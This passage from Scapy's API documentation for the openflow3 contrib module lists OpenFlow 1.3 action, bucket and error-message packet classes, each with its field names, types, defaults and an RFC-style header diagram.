	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetTpDst(_pkt, /, *, type=10, len=8, tp_port=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L842-L847]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TP PORT            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetTpDst                        


OFPATSetTpDst fields






	type

	ShortEnumField

	10



	len

	ShortField

	8



	tp_port

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATSetTpDstID(_pkt, /, *, type=10, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1125-L1128]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetTpDstID                       


OFPATSetTpDstID fields






	type

	ShortEnumField

	10



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetTpSrc(_pkt, /, *, type=9, len=8, tp_port=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L834-L839]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TP PORT            |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPATSetTpSrc                        


OFPATSetTpSrc fields






	type

	ShortEnumField

	9



	len

	ShortField

	8



	tp_port

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATSetTpSrcID(_pkt, /, *, type=9, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1119-L1122]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetTpSrcID                       


OFPATSetTpSrcID fields






	type

	ShortEnumField

	9



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetVLANPCP(_pkt, /, *, type=2, len=8, vlan_pcp=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L781-L786]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VLAN PCP   |                      PAD                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetVLANPCP                       


OFPATSetVLANPCP fields






	type

	ShortEnumField

	2



	len

	ShortField

	8



	vlan_pcp

	ByteField

	0



	pad

	X3BytesField

	0















	
class scapy.contrib.openflow3.OFPATSetVLANPCPID(_pkt, /, *, type=2, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1077-L1080]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATSetVLANPCPID                      


OFPATSetVLANPCPID fields






	type

	ShortEnumField

	2



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATSetVLANVID(_pkt, /, *, type=1, len=8, vlan_vid=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L773-L778]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VLAN VID           |              PAD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATSetVLANVID                       


OFPATSetVLANVID fields






	type

	ShortEnumField

	1



	len

	ShortField

	8



	vlan_vid

	ShortField

	0



	pad

	XShortField

	0















	
class scapy.contrib.openflow3.OFPATSetVLANVIDID(_pkt, /, *, type=1, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1071-L1074]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATSetVLANVIDID                      


OFPATSetVLANVIDID fields






	type

	ShortEnumField

	1



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPATStripVLAN(_pkt, /, *, type=3, len=8, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L789-L793]

	Bases: OFPAT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPATStripVLAN                        


OFPATStripVLAN fields






	type

	ShortEnumField

	3



	len

	ShortField

	8



	pad

	XIntField

	0















	
class scapy.contrib.openflow3.OFPATStripVLANID(_pkt, /, *, type=3, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1083-L1086]

	Bases: OFPATID


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPATStripVLANID                       


OFPATStripVLANID fields






	type

	ShortEnumField

	3



	len

	ShortField

	4















	
class scapy.contrib.openflow3.OFPBucket(_pkt, /, *, len=None, weight=0, watch_port=0, watch_group=0, pad=0, actions=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1437-L1448]

	Bases: _ofp_header_item


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1447-L1448]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |             WEIGHT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           WATCH PORT                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          WATCH GROUP                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              PAD                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ACTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OFPBucket                          


OFPBucket fields






	len

	ShortField

	None



	weight

	ShortField

	0



	watch_port

	IntEnumField

	0



	watch_group

	IntEnumField

	0



	pad

	XIntField

	0



	actions

	PacketListField

	[]















	
class scapy.contrib.openflow3.OFPBucketStats(_pkt, /, *, packet_count=0, byte_count=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2427-L2433]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L2432-L2433]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PACKET COUNT                         |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           BYTE COUNT                          |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPBucketStats                        


OFPBucketStats fields






	packet_count

	LongField

	0



	byte_count

	LongField

	0















	
class scapy.contrib.openflow3.OFPETBadAction(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=2, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1672-L1695]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPETBadAction                        


OFPETBadAction fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	2



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETBadInstruction(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=3, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1698-L1714]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETBadInstruction                     


OFPETBadInstruction fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	3



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETBadMatch(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=4, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1717-L1736]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OFPETBadMatch                        


OFPETBadMatch fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	4



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETBadRequest(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=1, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1648-L1669]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OFPETBadRequest                       


OFPETBadRequest fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	1



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETExperimenter(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=65535, exp_type=None, experimenter=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1887-L1896]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            EXP TYPE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EXPERIMENTER                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPETExperimenter                      


OFPETExperimenter fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	65535



	exp_type

	ShortField

	None



	experimenter

	IntField

	None



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETFlowModFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=5, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1739-L1754]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETFlowModFailed                      


OFPETFlowModFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	5



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETGroupModFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=6, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1757-L1779]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETGroupModFailed                     


OFPETGroupModFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	6



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETHelloFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=0, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1636-L1645]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OFPETHelloFailed                       


OFPETHelloFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	0



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETMeterModFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=12, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1849-L1868]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETMeterModFailed                     


OFPETMeterModFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	12



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETPortModFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=7, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1782-L1794]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETPortModFailed                      


OFPETPortModFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	7



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETQueueOpFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=9, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1810-L1820]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OFPETQueueOpFailed                      


OFPETQueueOpFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

	None



	xid

	IntField

	0



	errtype

	ShortEnumField

	9



	errcode

	ShortEnumField

	0



	data

	OFPacketField

	b''















	
class scapy.contrib.openflow3.OFPETRoleRequestFailed(_pkt, /, *, version=4, type=1, len=None, xid=0, errtype=11, errcode=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/openflow3.py#L1836-L1846]

	Bases: _ofp_header


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              XID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ERRTYPE            |            ERRCODE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OFPETRoleRequestFailed                    


OFPETRoleRequestFailed fields






	version

	ByteEnumField

	4



	type

	ByteEnumField

	1



	len

	ShortField

